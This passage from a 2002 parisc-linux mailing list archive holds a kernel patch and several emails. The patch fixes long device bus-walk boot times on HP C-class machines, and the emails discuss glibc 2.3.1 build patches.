 #define F_GETFL		3	/* Get file status flags.  */
 #define F_SETFL		4	/* Set file status flags.  */
+#ifndef __USE_FILE_OFFSET64
 #define F_GETLK		5	/* Get record locking info.  */
 #define F_SETLK		6	/* Set record locking info (non-blocking).  */
 #define F_SETLKW	7	/* Set record locking info (blocking).  */
+#else
+#define F_GETLK		F_GETLK64  /* Get record locking info.  */
+#define F_SETLK		F_SETLK64  /* Set record locking info (non-blocking).  */
+#define F_SETLKW	F_SETLKW64 /* Set record locking info (blocking).  */
+#endif
 
 #define F_GETLK64	8	/* Get record locking info.  */
 #define F_SETLK64	9	/* Set record locking info (non-blocking).  */

--s8uQA167RD2xhjBe--


From - Thu Nov 08 21:25:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] long bus walk times on boot up
Date: Wed, 20 Nov 2002 07:30:41 -0800 (PST)
Lines: 25
Approved: news@gmane.org
Message-ID: <20021120153041.6264.qmail@web12508.mail.yahoo.com>
References: <000701c28f4e$081aa460$2cb032d2@home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-779367258-1037806241=:5774"
X-Trace: ger.gmane.org 1416621949 17393 80.91.229.3 (22 Nov 2014 02:05:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 20 08:30:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12508.mail.yahoo.com (web12508.mail.yahoo.com [216.136.173.200])
	by dsl2.external.hp.com (Postfix) with SMTP id 4FCAE4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Nov 2002 08:30:47 -0700 (MST)
Original-Received: from [12.24.252.31] by web12508.mail.yahoo.com via HTTP; Wed, 20 Nov 2002 07:30:41 PST
In-Reply-To: <000701c28f4e$081aa460$2cb032d2@home>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16869

--0-779367258-1037806241=:5774
Content-Type: text/plain; charset=us-ascii


Well, my C180 is gone to a new home and my C360 is well on it's way, but I had a question about the new netinstall ISO's out there.  I had been running the 2.4.19-pa19-20020922-netinst.iso on the C180 and it didn't have the bus walk issues that cause the long boot up times.  I really would like to avoid having my C360 take 20+ minutes to boot up.  Are there any real huge issues with running this older kernal on my C360 or are there any immediate plans to fix the issues of having to walk the entire bus?  I'm still a little weary of compiling my own kernal (only done this through SAM on HP-UX), but if I was forced to I could probably figure it out using the HOWTO's.  Is there a kernal parameter I could tweak that could resolve the long bus walk times?  Or am I just totally off base?  :)

 

derek



---------------------------------
Do you Yahoo!?
Yahoo! Web Hosting - Let the expert host your site
--0-779367258-1037806241=:5774
Content-Type: text/html; charset=us-ascii

<P>Well, my C180 is gone to a new home and my C360 is well on it's way, but I had a question about the new netinstall ISO's out there.&nbsp; I had been running the 2.4.19-pa19-20020922-netinst.iso on the C180 and it didn't have the bus walk issues that cause the long boot up times.&nbsp; I really would like to avoid having my C360 take 20+ minutes to boot up.&nbsp; Are there any real huge issues with running this older kernal on my C360 or are there any immediate plans to fix the issues of having to walk the entire bus?&nbsp; I'm still a little weary of compiling my own kernal (only done this through SAM on HP-UX), but if I was forced to I could probably figure it out using the HOWTO's.&nbsp; Is there a kernal parameter I could tweak that could resolve the long bus walk times?&nbsp; Or am 
 I just totally off base?&nbsp; :)</P>
<P>&nbsp;</P>
<P>derek</P><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/hosting/mailsig/*http://webhosting.yahoo.com">Yahoo! Web Hosting</a> - Let the expert host your site
--0-779367258-1037806241=:5774--


From - Thu Nov 08 21:25:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] long bus walk times on boot up
Date: Wed, 20 Nov 2002 15:40:11 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20021120154011.G12656@parcelfarce.linux.theplanet.co.uk>
References: <000701c28f4e$081aa460$2cb032d2@home> <20021120153041.6264.qmail@web12508.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621950 17395 80.91.229.3 (22 Nov 2014 02:05:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 20 08:40:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 508754829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Nov 2002 08:40:16 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18EWxX-0004my-00; Wed, 20 Nov 2002 15:40:11 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021120153041.6264.qmail@web12508.mail.yahoo.com>; from derekengelhaupt@rocketmail.com on Wed, Nov 20, 2002 at 07:30:41AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16870

On Wed, Nov 20, 2002 at 07:30:41AM -0800, Derek Engelhaupt wrote:
> 
> Well, my C180 is gone to a new home and my C360 is well on it's
> way, but I had a question about the new netinstall ISO's out there.
> I had been running the 2.4.19-pa19-20020922-netinst.iso on the C180 and
> it didn't have the bus walk issues that cause the long boot up times.
> I really would like to avoid having my C360 take 20+ minutes to boot up.
> Are there any real huge issues with running this older kernal on my C360
> or are there any immediate plans to fix the issues of having to walk
> the entire bus?  I'm still a little weary of compiling my own kernal
> (only done this through SAM on HP-UX), but if I was forced to I could
> probably figure it out using the HOWTO's.  Is there a kernal parameter
> I could tweak that could resolve the long bus walk times?  Or am I just
> totally off base?  :)

2.4.19-pa19 should run fine on a C360.  the long bus walk problem
isn't yet fixed in the 2.4 CVS (but should be fixed in the 2.5 tree).
this isn't a ploy to persuade more people to use 2.5; it's just ryan
didn't get around to it yet ;-)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc + SuSE (When email becomes to much)
Date: Wed, 20 Nov 2002 14:49:24 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20021120194924.GA26804@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621950 17396 80.91.229.3 (22 Nov 2014 02:05:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 20 12:49:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id B56694832
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Nov 2002 12:49:30 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18Eaqi-0006zw-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Nov 2002 14:49:24 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (56% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16871

pa,

I remember someone posting an email about trying
to build an unpatched version of glibc 2.3.1 :)

I have the patches required to build glibc 2.3.1,
if this person is still interested, please email 
me or the list.

Actually, 5 of the 8 patches I have are now in upstream
glibc... so you need very little to get upstream 
building (gcc-3.2 and new binutils).

My incoming email gets very filtered these days, 
and if you're in the queue for more than 30 days
it's likely that I'll forget... unless you have
physical presence in my life or frequent IRC
(e.g. Red haired vixens (real life), or Tausq (IRC) :)

c.



From - Thu Nov 08 21:25:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] long bus walk times on boot up
Date: 20 Nov 2002 22:16:31 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <1037855791.5976.11.camel@beavis>
References: <000701c28f4e$081aa460$2cb032d2@home>
	<20021120153041.6264.qmail@web12508.mail.yahoo.com> 
	<20021120154011.G12656@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621950 17397 80.91.229.3 (22 Nov 2014 02:05:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>,
	Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 20 22:16:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7E40482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Nov 2002 22:16:35 -0700 (MST)
Original-Received: from localhost.localdomain (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 230CC2B100; Wed, 20 Nov 2002 22:16:31 -0700 (MST)
In-Reply-To: <20021120154011.G12656@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16872

Derek or anyone else experience this problem,

Feel free to test out this patch.  This impliments Willy's idea and
seems to work find on linux-2.5.  I can not test this against cvs head
on linux-2.4 since my C200 HPMCs in cpu_idle().

I do not have time to track down the linux-2.4 boot issue right now, but
I will commit this patch once I get C200 to boot cvs head and if
feedback from the patch is good.

Thanks,

- Ryan

On Wed, 2002-11-20 at 08:40, Matthew Wilcox wrote:
> On Wed, Nov 20, 2002 at 07:30:41AM -0800, Derek Engelhaupt wrote:
> > 
> > Well, my C180 is gone to a new home and my C360 is well on it's
> > way, but I had a question about the new netinstall ISO's out there.
> > I had been running the 2.4.19-pa19-20020922-netinst.iso on the C180 and
> > it didn't have the bus walk issues that cause the long boot up times.
> > I really would like to avoid having my C360 take 20+ minutes to boot up.
> > Are there any real huge issues with running this older kernal on my C360
> > or are there any immediate plans to fix the issues of having to walk
> > the entire bus?  I'm still a little weary of compiling my own kernal
> > (only done this through SAM on HP-UX), but if I was forced to I could
> > probably figure it out using the HOWTO's.  Is there a kernal parameter
> > I could tweak that could resolve the long bus walk times?  Or am I just
> > totally off base?  :)
> 
> 2.4.19-pa19 should run fine on a C360.  the long bus walk problem
> isn't yet fixed in the 2.4 CVS (but should be fixed in the 2.5 tree).
> this isn't a ploy to persuade more people to use 2.5; it's just ryan
> didn't get around to it yet ;-)
> 
> -- 
> Revolutions do not require corporate support.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:25:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [Fwd: Re: [parisc-linux] long bus walk times on boot up]  (with
	patch this time)
Date: 20 Nov 2002 22:18:15 -0700
Lines: 215
Approved: news@gmane.org
Message-ID: <1037855895.5976.14.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-gsK4+BL/NrmmTTAzb2GP"
X-Trace: ger.gmane.org 1416621951 17400 80.91.229.3 (22 Nov 2014 02:05:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>,
	Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 20 22:18:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1D10482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Nov 2002 22:18:28 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 6D12A2B100; Wed, 20 Nov 2002 22:18:15 -0700 (MST)
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16873

--=-gsK4+BL/NrmmTTAzb2GP
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

-----Forwarded Message-----

> From: Ryan Bradetich <rbradetich@uswest.net>
> To: Matthew Wilcox <willy@debian.org>, Derek Engelhaupt <derekengelhaupt@rocketmail.com>
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] long bus walk times on boot up
> Date: 20 Nov 2002 22:16:31 -0700
> 
> Derek or anyone else experience this problem,
> 
> Feel free to test out this patch.  This impliments Willy's idea and
> seems to work find on linux-2.5.  I can not test this against cvs head
> on linux-2.4 since my C200 HPMCs in cpu_idle().
> 
> I do not have time to track down the linux-2.4 boot issue right now, but
> I will commit this patch once I get C200 to boot cvs head and if
> feedback from the patch is good.
> 
> Thanks,
> 
> - Ryan
> 
> On Wed, 2002-11-20 at 08:40, Matthew Wilcox wrote:
> > On Wed, Nov 20, 2002 at 07:30:41AM -0800, Derek Engelhaupt wrote:
> > > 
> > > Well, my C180 is gone to a new home and my C360 is well on it's
> > > way, but I had a question about the new netinstall ISO's out there.
> > > I had been running the 2.4.19-pa19-20020922-netinst.iso on the C180 and
> > > it didn't have the bus walk issues that cause the long boot up times.
> > > I really would like to avoid having my C360 take 20+ minutes to boot up.
> > > Are there any real huge issues with running this older kernal on my C360
> > > or are there any immediate plans to fix the issues of having to walk
> > > the entire bus?  I'm still a little weary of compiling my own kernal
> > > (only done this through SAM on HP-UX), but if I was forced to I could
> > > probably figure it out using the HOWTO's.  Is there a kernal parameter
> > > I could tweak that could resolve the long bus walk times?  Or am I just
> > > totally off base?  :)
> > 
> > 2.4.19-pa19 should run fine on a C360.  the long bus walk problem
> > isn't yet fixed in the 2.4 CVS (but should be fixed in the 2.5 tree).
> > this isn't a ploy to persuade more people to use 2.5; it's just ryan
> > didn't get around to it yet ;-)
> > 
> > -- 
> > Revolutions do not require corporate support.
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > 
> 


--=-gsK4+BL/NrmmTTAzb2GP
Content-Disposition: attachment; filename=drivers.diff
Content-Transfer-Encoding: quoted-printable
Content-Type: text/x-patch; name=drivers.diff; charset=ISO-8859-1

Index: arch/parisc/kernel/drivers.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux/arch/parisc/kernel/drivers.c,v
retrieving revision 1.48
diff -u -p -r1.48 drivers.c
--- arch/parisc/kernel/drivers.c	11 Sep 2002 05:47:43 -0000	1.48
+++ arch/parisc/kernel/drivers.c	21 Nov 2002 05:10:51 -0000
@@ -9,6 +9,7 @@
  * Copyright (c) 1999 The Puffin Group
  * Copyright (c) 2001 Matthew Wilcox for Hewlett Packard
  * Copyright (c) 2001 Helge Deller <deller@gmx.de>
+ * Copyright (c) 2001,2002 Ryan Bradetich=20
  *=20
  * The file handles registering devices and drivers, then matching them.
  * It's the closest we get to a dating agency.
@@ -23,7 +24,6 @@
 #include <asm/hardware.h>
 #include <asm/io.h>
 #include <asm/pdc.h>
-#include <asm/gsc.h>
=20
 /* See comments in include/asm-parisc/pci.h */
 struct pci_dma_ops *hppa_dma_ops;
@@ -416,6 +416,7 @@ alloc_pa_dev(unsigned long hpa, struct h
 	dev->id.sversion =3D ((iodc_data[4] & 0x0f) << 16) |
 			(iodc_data[5] << 8) | iodc_data[6];
 	dev->hpa =3D hpa;
+
 	name =3D parisc_hardware_description(&dev->id);
 	if (name) {
 		strncpy(dev->name, name, sizeof(dev->name)-1);
@@ -461,30 +462,25 @@ int register_parisc_device(struct parisc
 #define BC_PORT_MASK 0x8
 #define BC_LOWER_PORT 0x8
=20
+#define IO_STATUS 	offsetof(struct bc_module, io_status)
=20
 #define BUS_CONVERTER(dev) \
         ((dev->id.hw_type =3D=3D HPHW_IOA) || (dev->id.hw_type =3D=3D HPHW=
_BCPORT))
=20
 #define IS_LOWER_PORT(dev) \
-        ((gsc_readl(&((struct bc_module *)dev->hpa)->io_status) \
-                & BC_PORT_MASK) =3D=3D BC_LOWER_PORT)
-
-#define READ_IO_IO_LOW(dev) \
-	(dev->id.hw_type =3D=3D HPHW_IOA ? \
-	        __raw_readl((unsigned long)&((struct bc_module *)dev->hpa)->io_io=
_low) << 16 : \
-	        __raw_readl((unsigned long)&((struct bc_module *)dev->hpa)->io_io=
_low))
-
-#define READ_IO_IO_HIGH(dev) \
-	(dev->id.hw_type =3D=3D HPHW_IOA ? \
-	        __raw_readl((unsigned long)&((struct bc_module *)dev->hpa)->io_io=
_high) << 16 : \
-	        __raw_readl((unsigned long)&((struct bc_module *)dev->hpa)->io_io=
_high))
+        ((__raw_readl(dev->hpa + IO_STATUS) & BC_PORT_MASK) =3D=3D BC_LOWE=
R_PORT)
=20
+#define MAX_NATIVE_DEVICES 64
+#define NATIVE_DEVICE_OFFSET 0x1000
=20
-static void walk_native_bus(unsigned long io_io_low, unsigned long io_io_h=
igh,=20
-			    struct parisc_device *parent);
-
-#define FLEX_MASK (unsigned long)0xfffffffffffc0000
+#define FLEX_MASK 	(unsigned long)0xfffffffffffc0000
+#define IO_IO_LOW	offsetof(struct bc_module, io_io_low)
+#define IO_IO_HIGH	offsetof(struct bc_module, io_io_high)
+#define READ_IO_IO_LOW(dev)  (unsigned long)(signed int)__raw_readl(dev->h=
pa + IO_IO_LOW)
+#define READ_IO_IO_HIGH(dev) (unsigned long)(signed int)__raw_readl(dev->h=
pa + IO_IO_HIGH)
=20
+static void walk_native_bus(unsigned long io_io_low, unsigned long io_io_h=
igh,
+                            struct parisc_device *parent);
=20
 void walk_lower_bus(struct parisc_device *dev)
 {
@@ -493,15 +489,17 @@ void walk_lower_bus(struct parisc_device
 	if(!BUS_CONVERTER(dev) || IS_LOWER_PORT(dev))
 		return;
=20
-	io_io_low =3D ((unsigned long)(signed int)READ_IO_IO_LOW(dev) + ~FLEX_MAS=
K) & FLEX_MASK;
-	io_io_high =3D ((unsigned long)(signed int)READ_IO_IO_HIGH(dev) + ~FLEX_M=
ASK) & FLEX_MASK;
+	if(dev->id.hw_type =3D=3D HPHW_IOA) {
+		io_io_low =3D (unsigned long)(signed int)(READ_IO_IO_LOW(dev) << 16);
+		io_io_high =3D io_io_low + MAX_NATIVE_DEVICES * NATIVE_DEVICE_OFFSET;
+	} else {
+		io_io_low =3D (READ_IO_IO_LOW(dev) + ~FLEX_MASK) & FLEX_MASK;
+		io_io_high =3D (READ_IO_IO_HIGH(dev)+ ~FLEX_MASK) & FLEX_MASK;
+	}
=20
 	walk_native_bus(io_io_low, io_io_high, dev);
 }
=20
-#define MAX_NATIVE_DEVICES 64
-#define NATIVE_DEVICE_OFFSET 0x1000
-
 /**
  * walk_native_bus -- Probe a bus for devices
  * @io_io_low: Base address of this bus.
@@ -515,7 +513,7 @@ void walk_lower_bus(struct parisc_device
  * keyboard ports).  This problem is not yet solved.
  */
 static void walk_native_bus(unsigned long io_io_low, unsigned long io_io_h=
igh,
-			    struct parisc_device *parent)
+                            struct parisc_device *parent)
 {
 	int i, devices_found =3D 0;
 	unsigned long hpa =3D io_io_low;
@@ -523,7 +521,7 @@ static void walk_native_bus(unsigned lon
=20
 	get_node_path(parent, &path);
 	do {
-		for (i =3D 0; i < MAX_NATIVE_DEVICES; i++, hpa +=3D NATIVE_DEVICE_OFFSET=
) {
+		for(i =3D 0; i < MAX_NATIVE_DEVICES; i++, hpa +=3D NATIVE_DEVICE_OFFSET)=
 {
 			struct parisc_device *dev;
=20
 			/* Was the device already added by Firmware? */
@@ -539,7 +537,7 @@ static void walk_native_bus(unsigned lon
 			}
 			walk_lower_bus(dev);
 		}
-	} while (!devices_found && hpa < io_io_high);
+	} while(!devices_found && hpa < io_io_high);
 }
=20
 #define CENTRAL_BUS_ADDR (unsigned long) 0xfffffffffff80000
@@ -552,7 +550,7 @@ static void walk_native_bus(unsigned lon
  */
 void walk_central_bus(void)
 {
-	walk_native_bus(CENTRAL_BUS_ADDR,=20
+	walk_native_bus(CENTRAL_BUS_ADDR,
 			CENTRAL_BUS_ADDR + (MAX_NATIVE_DEVICES * NATIVE_DEVICE_OFFSET),
 			&root);
 }

--=-gsK4+BL/NrmmTTAzb2GP--



From - Thu Nov 08 21:25:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] glibc + SuSE (When email becomes to much)
Date: Thu, 21 Nov 2002 07:53:21 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <3DA3C54C000066E1@ocpmta5.be.tiscali.com>
References: <20021120194924.GA26804@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621951 17402 80.91.229.3 (22 Nov 2014 02:05:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:51 +0000 (UTC)
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 20 23:53:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9906482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 20 Nov 2002 23:53:58 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18ElDk-0005mH-00; Thu, 21 Nov 2002 07:53:52 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 21 Nov 2002 07:53:21 +0100
In-Reply-To: <20021120194924.GA26804@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16874

Hi Carlos,

>pa,
>
>I remember someone posting an email about trying
